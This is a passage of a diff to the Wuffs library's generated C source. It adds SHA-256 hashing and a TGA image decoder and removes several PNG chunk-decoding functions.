++ v_buf_data[59u] = ((uint8_t)((v_length_in_bits >> 32u))); ++ v_buf_data[60u] = ((uint8_t)((v_length_in_bits >> 24u))); ++ v_buf_data[61u] = ((uint8_t)((v_length_in_bits >> 16u))); ++ v_buf_data[62u] = ((uint8_t)((v_length_in_bits >> 8u))); ++ v_buf_data[63u] = ((uint8_t)(v_length_in_bits)); ++ } ++ v_w[0u] = ((((uint32_t)(v_buf_data[0u])) << 24u) | ++ (((uint32_t)(v_buf_data[1u])) << 16u) | ++ (((uint32_t)(v_buf_data[2u])) << 8u) | ++ ((uint32_t)(v_buf_data[3u]))); ++ v_w[1u] = ((((uint32_t)(v_buf_data[4u])) << 24u) | ++ (((uint32_t)(v_buf_data[5u])) << 16u) | ++ (((uint32_t)(v_buf_data[6u])) << 8u) | ++ ((uint32_t)(v_buf_data[7u]))); ++ v_w[2u] = ((((uint32_t)(v_buf_data[8u])) << 24u) | ++ (((uint32_t)(v_buf_data[9u])) << 16u) | ++ (((uint32_t)(v_buf_data[10u])) << 8u) | ++ ((uint32_t)(v_buf_data[11u]))); ++ v_w[3u] = ((((uint32_t)(v_buf_data[12u])) << 24u) | ++ (((uint32_t)(v_buf_data[13u])) << 16u) | ++ (((uint32_t)(v_buf_data[14u])) << 8u) | ++ ((uint32_t)(v_buf_data[15u]))); ++ v_w[4u] = ((((uint32_t)(v_buf_data[16u])) << 24u) | ++ (((uint32_t)(v_buf_data[17u])) << 16u) | ++ (((uint32_t)(v_buf_data[18u])) << 8u) | ++ ((uint32_t)(v_buf_data[19u]))); ++ v_w[5u] = ((((uint32_t)(v_buf_data[20u])) << 24u) | ++ (((uint32_t)(v_buf_data[21u])) << 16u) | ++ (((uint32_t)(v_buf_data[22u])) << 8u) | ++ ((uint32_t)(v_buf_data[23u]))); ++ v_w[6u] = ((((uint32_t)(v_buf_data[24u])) << 24u) | ++ (((uint32_t)(v_buf_data[25u])) << 16u) | ++ (((uint32_t)(v_buf_data[26u])) << 8u) | ++ ((uint32_t)(v_buf_data[27u]))); ++ v_w[7u] = ((((uint32_t)(v_buf_data[28u])) << 24u) | ++ (((uint32_t)(v_buf_data[29u])) << 16u) | ++ (((uint32_t)(v_buf_data[30u])) << 8u) | ++ ((uint32_t)(v_buf_data[31u]))); ++ v_w[8u] = ((((uint32_t)(v_buf_data[32u])) << 24u) | ++ (((uint32_t)(v_buf_data[33u])) << 16u) | ++ (((uint32_t)(v_buf_data[34u])) << 8u) | ++ ((uint32_t)(v_buf_data[35u]))); ++ v_w[9u] = ((((uint32_t)(v_buf_data[36u])) << 24u) | ++ (((uint32_t)(v_buf_data[37u])) << 16u) | ++ (((uint32_t)(v_buf_data[38u])) << 8u) | ++ ((uint32_t)(v_buf_data[39u]))); ++ v_w[10u] = ((((uint32_t)(v_buf_data[40u])) << 24u) | ++ (((uint32_t)(v_buf_data[41u])) << 16u) | ++ (((uint32_t)(v_buf_data[42u])) << 8u) | ++ ((uint32_t)(v_buf_data[43u]))); ++ v_w[11u] = ((((uint32_t)(v_buf_data[44u])) << 24u) | ++ (((uint32_t)(v_buf_data[45u])) << 16u) | ++ (((uint32_t)(v_buf_data[46u])) << 8u) | ++ ((uint32_t)(v_buf_data[47u]))); ++ v_w[12u] = ((((uint32_t)(v_buf_data[48u])) << 24u) | ++ (((uint32_t)(v_buf_data[49u])) << 16u) | ++ (((uint32_t)(v_buf_data[50u])) << 8u) | ++ ((uint32_t)(v_buf_data[51u]))); ++ v_w[13u] = ((((uint32_t)(v_buf_data[52u])) << 24u) | ++ (((uint32_t)(v_buf_data[53u])) << 16u) | ++ (((uint32_t)(v_buf_data[54u])) << 8u) | ++ ((uint32_t)(v_buf_data[55u]))); ++ v_w[14u] = ((((uint32_t)(v_buf_data[56u])) << 24u) | ++ (((uint32_t)(v_buf_data[57u])) << 16u) | ++ (((uint32_t)(v_buf_data[58u])) << 8u) | ++ ((uint32_t)(v_buf_data[59u]))); ++ v_w[15u] = ((((uint32_t)(v_buf_data[60u])) << 24u) | ++ (((uint32_t)(v_buf_data[61u])) << 16u) | ++ (((uint32_t)(v_buf_data[62u])) << 8u) | ++ ((uint32_t)(v_buf_data[63u]))); ++ v_i = 16u; ++ while (v_i < 64u) { ++ v_w2 = v_w[(v_i - 2u)]; ++ v_s1 = ((v_w2 >> 10u) ^ (((uint32_t)(v_w2 << 15u)) | (v_w2 >> 17u)) ^ (((uint32_t)(v_w2 << 13u)) | (v_w2 >> 19u))); ++ v_w15 = v_w[(v_i - 15u)]; ++ v_s0 = ((v_w15 >> 3u) ^ (((uint32_t)(v_w15 << 25u)) | (v_w15 >> 7u)) ^ (((uint32_t)(v_w15 << 14u)) | (v_w15 >> 18u))); ++ v_w[v_i] = ((uint32_t)(((uint32_t)(((uint32_t)(v_s1 + v_w[(v_i - 7u)])) + v_s0)) + v_w[(v_i - 16u)])); ++ v_i += 1u; + } +- if (self->private_impl.f_metadata_fourcc == 0u) { +- self->private_data.s_decode_other_chunk[0].scratch = self->private_impl.f_chunk_length; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- if (self->private_data.s_decode_other_chunk[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { +- self->private_data.s_decode_other_chunk[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); +- iop_a_src = io2_a_src; +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- iop_a_src += self->private_data.s_decode_other_chunk[0].scratch; ++ v_i = 0u; ++ while (v_i < 64u) { ++ v_t1 = v_h; ++ v_t1 += ((((uint32_t)(v_e << 26u)) | (v_e >> 6u)) ^ (((uint32_t)(v_e << 21u)) | (v_e >> 11u)) ^ (((uint32_t)(v_e << 7u)) | (v_e >> 25u))); ++ v_t1 += ((v_e & v_f) ^ ((4294967295u ^ v_e) & v_g)); ++ v_t1 += WUFFS_SHA256__K[v_i]; ++ v_t1 += v_w[v_i]; ++ v_t2 = ((((uint32_t)(v_a << 30u)) | (v_a >> 2u)) ^ (((uint32_t)(v_a << 19u)) | (v_a >> 13u)) ^ (((uint32_t)(v_a << 10u)) | (v_a >> 22u))); ++ v_t2 += ((v_a & v_b) ^ (v_a & v_c) ^ (v_b & v_c)); ++ v_h = v_g; ++ v_g = v_f; ++ v_f = v_e; ++ v_e = ((uint32_t)(v_d + v_t1)); ++ v_d = v_c; ++ v_c = v_b; ++ v_b = v_a; ++ v_a = ((uint32_t)(v_t1 + v_t2)); ++ v_i += 1u; ++ } ++ v_a += v_h0; ++ v_b += v_h1; ++ v_c += v_h2; ++ v_d += v_h3; ++ v_e += v_h4; ++ v_f += v_h5; ++ v_g += v_h6; ++ v_h += v_h7; ++ if (v_final_block) { ++ break; ++ } ++ v_final_block = true; ++ v_h0 = v_a; ++ v_h1 = v_b; ++ v_h2 = v_c; ++ v_h3 = v_d; ++ v_h4 = v_e; ++ v_h5 = v_f; ++ v_h6 = v_g; ++ v_h7 = v_h; ++ v_buf_len = 0u; ++ while (v_buf_len < 56u) { ++ v_buf_data[v_buf_len] = 0u; ++ v_buf_len += 1u; + } +- +- goto ok; +- ok: +- self->private_impl.p_decode_other_chunk[0] = 0; +- goto exit; + } ++ return wuffs_base__utility__make_bitvec256( ++ (((uint64_t)(v_h)) | (((uint64_t)(v_g)) << 32u)), ++ (((uint64_t)(v_f)) | (((uint64_t)(v_e)) << 32u)), ++ (((uint64_t)(v_d)) | (((uint64_t)(v_c)) << 32u)), ++ (((uint64_t)(v_b)) | (((uint64_t)(v_a)) << 32u))); ++} + +- goto suspend; +- suspend: +- self->private_impl.p_decode_other_chunk[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__TGA) + +- return status; +-} ++// ---------------- Status Codes Implementations + +-// -------- func png.decoder.decode_actl ++const char wuffs_tga__error__bad_header[] = "#tga: bad header"; ++const char wuffs_tga__error__bad_run_length_encoding[] = "#tga: bad run length encoding"; ++const char wuffs_tga__error__truncated_input[] = "#tga: truncated input"; ++const char wuffs_tga__error__unsupported_tga_file[] = "#tga: unsupported TGA file"; ++ ++// ---------------- Private Consts ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_png__decoder__decode_actl( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++wuffs_tga__decoder__do_decode_image_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_tga__decoder__do_decode_frame_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__frame_config* a_dst, ++ wuffs_base__io_buffer* a_src); ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_tga__decoder__do_decode_frame( ++ wuffs_tga__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src, ++ wuffs_base__pixel_blend a_blend, ++ wuffs_base__slice_u8 a_workbuf, ++ wuffs_base__decode_frame_options* a_opts); ++ ++// ---------------- VTables ++ ++const wuffs_base__image_decoder__func_ptrs ++wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder = { ++ (wuffs_base__status(*)(void*, ++ wuffs_base__pixel_buffer*, ++ wuffs_base__io_buffer*, ++ wuffs_base__pixel_blend, ++ wuffs_base__slice_u8, ++ wuffs_base__decode_frame_options*))(&wuffs_tga__decoder__decode_frame), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__frame_config*, ++ wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_frame_config), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__image_config*, ++ wuffs_base__io_buffer*))(&wuffs_tga__decoder__decode_image_config), ++ (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_tga__decoder__frame_dirty_rect), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_tga__decoder__get_quirk), ++ (uint32_t(*)(const void*))(&wuffs_tga__decoder__num_animation_loops), ++ (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frame_configs), ++ (uint64_t(*)(const void*))(&wuffs_tga__decoder__num_decoded_frames), ++ (wuffs_base__status(*)(void*, ++ uint64_t, ++ uint64_t))(&wuffs_tga__decoder__restart_frame), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_tga__decoder__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ uint32_t, ++ bool))(&wuffs_tga__decoder__set_report_metadata), ++ (wuffs_base__status(*)(void*, ++ wuffs_base__io_buffer*, ++ wuffs_base__more_information*, ++ wuffs_base__io_buffer*))(&wuffs_tga__decoder__tell_me_more), ++ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_tga__decoder__workbuf_len), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_tga__decoder__initialize( ++ wuffs_tga__decoder* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ } ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = ++ wuffs_base__image_decoder__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = ++ (const void*)(&wuffs_tga__decoder__func_ptrs_for__wuffs_base__image_decoder); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_tga__decoder* ++wuffs_tga__decoder__alloc(void) { ++ wuffs_tga__decoder* x = ++ (wuffs_tga__decoder*)(calloc(1, sizeof(wuffs_tga__decoder))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_tga__decoder__initialize( ++ x, sizeof(wuffs_tga__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; + } ++ return x; ++} + +- uint32_t coro_susp_point = self->private_impl.p_decode_actl[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++size_t ++sizeof__wuffs_tga__decoder(void) { ++ return sizeof(wuffs_tga__decoder); ++} + +- if (self->private_impl.f_chunk_length != 8u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } else if (self->private_impl.f_interlace_pass > 0u) { +- status = wuffs_base__make_status(wuffs_png__error__unsupported_png_file); +- goto exit; +- } +- self->private_impl.f_chunk_length = 0u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_actl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_actl[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- self->private_impl.f_num_animation_frames_value = t_0; +- } +- if (self->private_impl.f_num_animation_frames_value == 0u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_actl[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_actl[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 24) { +- t_1 = ((uint32_t)(*scratch >> 32)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } +- } +- self->private_impl.f_num_animation_loops_value = t_1; +- } ++// ---------------- Function Implementations + +- goto ok; +- ok: +- self->private_impl.p_decode_actl[0] = 0; +- goto exit; ++// -------- func tga.decoder.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_tga__decoder__get_quirk( ++ const wuffs_tga__decoder* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; + } + +- goto suspend; +- suspend: +- self->private_impl.p_decode_actl[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ return 0u; ++} + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++// -------- func tga.decoder.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__set_quirk( ++ wuffs_tga__decoder* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); + } + +- return status; ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func png.decoder.decode_chrm ++// -------- func tga.decoder.decode_image_config + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_chrm( +- wuffs_png__decoder* self, ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_tga__decoder__decode_image_config( ++ wuffs_tga__decoder* self, ++ wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ if (!a_src) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ if ((self->private_impl.active_coroutine != 0) && ++ (self->private_impl.active_coroutine != 1)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); ++ } ++ self->private_impl.active_coroutine = 0; + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint64_t v_u = 0; +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_chrm[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_chunk_length != 32u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_chunk_length = 0u; +- self->private_impl.f_metadata_flavor = 5u; +- self->private_impl.f_metadata_fourcc = 1128813133u; +- self->private_impl.f_metadata_x = 0u; +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint64_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); +- if (num_bits_0 == 24) { +- t_0 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)); +- } +- } +- v_u = t_0; +- } +- self->private_impl.f_metadata_x |= ((16777215u & v_u) << 0u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint64_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_1 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_1); +- if (num_bits_1 == 24) { +- t_1 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)); +- } +- } +- v_u = t_1; +- } +- self->private_impl.f_metadata_x |= ((16777215u & v_u) << 24u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- uint64_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_2 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_2); +- if (num_bits_2 == 24) { +- t_2 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)); +- } +- } +- v_u = t_2; +- } +- self->private_impl.f_metadata_x |= ((uint64_t)((16777215u & v_u) << 48u)); +- self->private_impl.f_metadata_y |= ((16777215u & v_u) >> 16u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- uint64_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_3 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); +- if (num_bits_3 == 24) { +- t_3 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)); +- } +- } +- v_u = t_3; +- } +- self->private_impl.f_metadata_y |= ((16777215u & v_u) << 8u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(9); +- uint64_t t_4; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_4 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_4 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_4); +- if (num_bits_4 == 24) { +- t_4 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_4 += 8u; +- *scratch |= ((uint64_t)(num_bits_4)); +- } +- } +- v_u = t_4; +- } +- self->private_impl.f_metadata_y |= ((16777215u & v_u) << 32u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); +- uint64_t t_5; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_5 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(12); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); +- if (num_bits_5 == 24) { +- t_5 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_5 += 8u; +- *scratch |= ((uint64_t)(num_bits_5)); +- } +- } +- v_u = t_5; +- } +- self->private_impl.f_metadata_y |= ((uint64_t)((16777215u & v_u) << 56u)); +- self->private_impl.f_metadata_z |= ((16777215u & v_u) >> 8u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(13); +- uint64_t t_6; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_6 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(14); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_chrm[0].scratch; +- uint32_t num_bits_6 = ((uint32_t)(*scratch & 0xFFu)); +- *scratch >>= 8; +- *scratch <<= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_6); +- if (num_bits_6 == 24) { +- t_6 = ((uint64_t)(*scratch >> 32)); +- break; +- } +- num_bits_6 += 8u; +- *scratch |= ((uint64_t)(num_bits_6)); +- } ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; + } +- v_u = t_6; +- } +- self->private_impl.f_metadata_z |= ((16777215u & v_u) << 16u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(15); +- uint64_t t_7; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { +- t_7 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); +- iop_a_src += 4; +- } else { +- self->private_data.s_decode_chrm[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(16); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = 